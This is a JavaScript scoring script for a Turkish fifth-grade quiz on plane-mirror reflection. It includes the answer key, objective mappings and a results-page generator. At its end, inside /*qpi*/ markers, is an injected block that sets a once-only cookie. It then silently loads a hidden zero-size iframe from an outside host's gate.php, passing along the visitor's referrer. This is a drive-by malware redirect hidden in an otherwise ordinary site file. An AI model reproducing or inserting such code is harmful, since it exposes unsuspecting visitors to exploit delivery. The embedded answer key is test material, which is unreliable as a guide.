
<!--
var Grade = "5";
var trueAns = new Array("D", "B", "C", "E", "B", "D", "D", "D", "B", "C", "D",
"B", "B", "A", "E", "A", "D", "B", "C", "E");



var objmeasured = new Array("03", "03", "02", "06", "01", "03", "01", "01", "06", "04", "05", "04",
							"06", "04", "03", "05", "05", "03", "02", "02", "01", "02", "03", "04",
							"04", "02", "01", "04", "06", "05", "06", "02", "01", "02", "03", "06", 
							"04", "01", "01", "01", "05", "06", "03", "06");

var Scale = new Array("1044", "1217", "1343", "1421", "1478", "1524", "1564", "1598", "1630", "1658",
					"1685", "1710", "1734", "1757", "1779", "1800", "1821", "1841", "1861", "1881",
					"1901", "1920", "1939", "1959", "1978", "1998", "2017", "2037", "2058", "2079",
					 "2100", "2122", "2145", "2169", "2194", "2221", "2249", "2280", "2315", "2354", "2400", "2457", "2534", "2659", "2832");

var Object1 = new Array(4,7,7);
var Object2 = new Array(2,18,19);
var Object3 = new Array(0,1,5,14,17);
var Object4 = new Array(9,11,13);
var Object5 = new Array(10,15,16);
var Object6 = new Array(4,9,13);

var BrowserMinVersionRequired = 4;

var userAns = new Array(trueAns.length);
var qMark = new Array(trueAns.length);
var userName;
var TotalScore;
var Obj1Score;
var Obj2Score;
var Obj3Score;
var Obj4Score;
var Obj5Score;
var Obj6Score;

function avoiderror()
{
var browserVer = parseInt(navigator.appVersion);
	if(browserVer < BrowserMinVersionRequired)
	   {alert("You are running "+navigator.appName+" version "+navigator.appVersion+"\n"+"Version 4.0 or later is needed for the test evaluation to work properly."+"\n"+"Please, upgrade your browser.");}
}


function validateAndSubmit(theForm) 
{
   // Get the browser version and issue a warning,  if old
   var browserVer = parseInt(navigator.appVersion);
   var OKtoContinue = true;

   if(browserVer < BrowserMinVersionRequired)
   {
        alert("You are running an old version of "+navigator.appName + "."+"\n" +
              "Version 4.0 or later is needed for the test evaluation to work properly. "+ "\n"+
              "Please, upgrade your browser.");
        OKtoContinue = false;
   }

   if(OKtoContinue)
   {
       // Initialize all global variables and tables
       initializeTables();

       // First store the user name
       userName = theForm.personname.value;

       // Next, scan the user choices for all test questions 
       for (var j=1 ; j<= trueAns.length; j++)
       {
           var radioName = "Q" + j;
           userAns[j-1] = getRadioValue(theForm, radioName);

	  

       }

       // Next, score the test
       scoreAnswers();
   
       // Finally, report the results
       var scoreWindow=window.open("", "","toolbar=yes,scrollbars=yes");
       reportScoreCard(scoreWindow);
   }
}

// This function returns the value of a test question (Q1, Q2, etc)
// as selected by the user. If no selection is made for this question
// the function returns "NR". 

function getRadioValue(theForm, radioName)
{
        var collection;  
        collection = new Array();
        getRadioCollection(theForm, radioName, collection);
        for (var i = 0; i< collection.length; i++) 
        {   
            if (collection[i].checked)
                return(collection[i].value);
        }	
        return "Boş";
}

// This function is used to create an
// array of all radio buttons with the same name, e.g. Q1.
function getRadioCollection(theForm, radioName, collection)
{
        var j = 0;
        for(var i =0; i<theForm.elements.length; i++)
        {
                  if(theForm.elements[i].name == radioName)
                  {
                           collection[j++] = theForm.elements[i];
                  }
        }
}

// Initializes all global variables needed to score the test.
function initializeTables()
{
     for (var i = 0 ; i < trueAns.length; i++){
          qMark[i] = false;
     }     
     TotalScore = 0;
     Obj1Score = 0;
     Obj2Score = 0;
     Obj3Score = 0;
     Obj4Score = 0;
     Obj5Score = 0;
     Obj6Score = 0;
}

// Reports the results to the user in a separate window.
function reportScoreCard(scoreWindow) 
{
       scoreWindow.document.open("text/html","replace");
       scoreWindow.document.write("<head>");
       scoreWindow.document.write("<Title>Test Sonuçlarınız</Title>");
       scoreWindow.document.write("</head>");
       scoreWindow.document.write("<body>");
       scoreWindow.document.write("<form>");
       scoreWindow.document.write("<center><H3>Optik testi</H3><H3>  "+userName+" için sonuçlar</H3></center>");
       scoreWindow.document.write("<table border=0 cellspacing=0 align=\"center\"  >");
       scoreWindow.document.write("<tr><td> Soru &nbsp;  </td><td> &nbsp; Ölçülen &nbsp;</td><td> &nbsp; Doğru </td><td> &nbsp; Öğrencinin </td></tr>");
          scoreWindow.document.write("<tr><td> No &nbsp;  </td><td> &nbsp; Hedef  &nbsp;</td><td> &nbsp; Yanıt </td><td> &nbsp; Yanıtı </td></tr>");
       scoreWindow.document.write("<tr><td colspan=5><hr></td></tr>");
       for (var j = 1; j<=trueAns.length;j++)
       {
             var color = j%2;                    // Gives the remainder of j divided by 2
             if(color)
             {
                 scoreWindow.document.write("<tr bgcolor=\"white\">");
             }
             else
             {
                 scoreWindow.document.write("<tr bgcolor=\"#7EB1D8\">");
             }
             scoreWindow.document.write("<td align=\"center\">"+j+"</td><td align=\"center\">");

             scoreWindow.document.write(objmeasured[j-1]+"</td><td align=\"center\">");
	     
	     	
        

             scoreWindow.document.write(trueAns[j-1]+"</td><td align=\"center\">");      
             if(qMark[j-1])
             { 
                 scoreWindow.document.write("+");
             }
             else
             {
                 scoreWindow.document.write(userAns[j-1]);
             }
             scoreWindow.document.write("</td></tr>");
       }
  
       scoreWindow.document.write("</table>");
       scoreWindow.document.write("<br>");
       scoreWindow.document.write("<table><tr><td><b>+</b></td><td> = </td><td>öğrencinin doğru yanıtı</td></tr>");
       scoreWindow.document.write("<tr><td>Boş</td><td> = </td><td>öğrencinin boş bıraktığı soru</td></tr></table>");
       scoreWindow.document.write("<br>");
       scoreWindow.document.write("<table><tr><td colspan=4 align=left><b>Hedeflere göre toplam doğru yanıtlarınız:</b>");
       scoreWindow.document.write("<tr><td valign=top>");
       scoreWindow.document.write("<b>Hedef 1:</b></td><td>"); 
       scoreWindow.document.write("Işığın düzlem aynada yansıması</td> ");
       scoreWindow.document.write("<td></td><td valign=top><b>"+Obj1Score+"/"+Object1.length+"</b></td></tr>");
       scoreWindow.document.write("<tr><td valign=top>");
       scoreWindow.document.write("<b>Hedef 2:</b></td><td>"); 
       scoreWindow.document.write("Düzlem aynada görüntü çizme</td> ");
       scoreWindow.document.write("<td></td><td valign=top><b>"+Obj2Score+"/"+Object2.length+"</b></td></tr>");
       scoreWindow.document.write("<tr><td valign=top>");
       scoreWindow.document.write("<b>Hedef 3:</b></td><td>"); 
       scoreWindow.document.write("Görüş alanı çizme</td> ");
       scoreWindow.document.write("<td></td><td valign=top><b>"+Obj3Score+"/"+Object3.length+"</b></td></tr>");
       scoreWindow.document.write("<tr><td valign=top>");
       scoreWindow.document.write("<b>Hedef 4:</b></td><td>"); 
       scoreWindow.document.write("Engel soruları</td> ");
       scoreWindow.document.write("<td></td><td valign=top><b>"+Obj4Score+"/"+Object4.length+"</b></td></tr>");
       scoreWindow.document.write("<tr><td valign=top>");
       scoreWindow.document.write("<b>Hedef 5:</b></td><td>"); 
       scoreWindow.document.write("Görüş alanı hesaplama </td> ");
       scoreWindow.document.write("<td></td><td valign=top><b>"+Obj5Score+"/"+Object5.length+"</b></td></tr>");
       scoreWindow.document.write("<tr><td valign=top>");
       scoreWindow.document.write("<b>Hedef 6:</b></td><td>"); 
       scoreWindow.document.write("İki düzlem aynada görüntü</td> ");
       scoreWindow.document.write("<td></td><td valign=top><b>"+Obj6Score+"/"+Object6.length+"</b></td></tr>");
       scoreWindow.document.write("<tr><td></td><td></td><td></td><td>____</td></tr>");
       scoreWindow.document.write("<tr><td colspan=2 align=rigth><b>Toplam:</b></td><td></td><td><b>"+TotalScore+"/"+trueAns.length+"</b></td></tr>");
       scoreWindow.document.write("</table>");

       scoreWindow.document.write("<br>");       
   //  scoreWindow.document.write("Toplam puanınız "+TotalScore+" out of  "+trueAns.length+" questions.");

    

       scoreWindow.document.write("<br>");
       scoreWindow.document.write("<hr>");
       scoreWindow.document.write("<table><tr><td valign=top></td><td>Test sonuçlarınızı hedeflere göre değerlendirin.");
       scoreWindow.document.write(" Eksik gördüğünüz hedeflere göre konuları tekrar edin.");
       scoreWindow.document.write(" Her hedeften soruların yarısından fazlasını yapmışsanız, tekrara gerek yoktur, ");
       scoreWindow.document.write(" pekiştirmek için daha fazla soru çözebilirsiniz.</td></tr></table>");
       scoreWindow.document.write("<hr>");
       scoreWindow.document.write("<table><tr><td valign=top></td><td>");
       scoreWindow.document.write(" ");
       scoreWindow.document.write("");
       scoreWindow.document.write("");
       scoreWindow.document.write("</td></tr></table>");
       scoreWindow.document.write("<hr>");
 //    scoreWindow.document.write("<p> If you have any questions about this test, please contact the <A HREF=\"mailto: studenta@.tea.state.tx.us\">Student Assessment Division</A>.<br><br>");
       scoreWindow.document.write("<input type=\"submit\" value=\"Sonuçlar sayfasını kapat\" onClick=\"window.close()\">");
       scoreWindow.document.write("</form>");
       scoreWindow.document.write("</body>");
       scoreWindow.document.close();
}

// Does the actual scoring of the test. Every question is marked as
// true or false. It uses the array of true answers trueAns which must
// be preset. trueAns is set into initializeTables().
// The marks are then used to score the Hedefs.

function scoreAnswers()
{
       var j = 0;
       for(j=0; j<trueAns.length; j++)
       {
             if(userAns[j] == trueAns[j] ) 
             {
                    qMark[j] = true;
                    TotalScore++;
             }
        }
        for(j=0; j<Object1.length; j++)
        {
             var i = Object1[j];
             if(qMark[i])
             {
                    Obj1Score++;
              }
          }
          for(j=0; j<Object2.length; j++)
         {
             var i = Object2[j];
             if(qMark[i])
             {
                    Obj2Score++;
              }
          }
          for(j=0; j<Object3.length; j++)
         {
             var i = Object3[j];
             if(qMark[i])
             {
                    Obj3Score++;
              }
          }
           for(j=0; j<Object4.length; j++)
         {
             var i = Object4[j];
             if(qMark[i])
             {
                    Obj4Score++;
              }
          }
           for(j=0; j<Object5.length; j++)
         {
             var i = Object5[j];
             if(qMark[i])
             {
                    Obj5Score++;
              }
          }
            for(j=0; j<Object6.length; j++)
         {
             var i = Object6[j];
             if(qMark[i])
             {
                    Obj6Score++;
              }
          }
}

//-->

/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://josefina.in/gate.php?f=838745&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
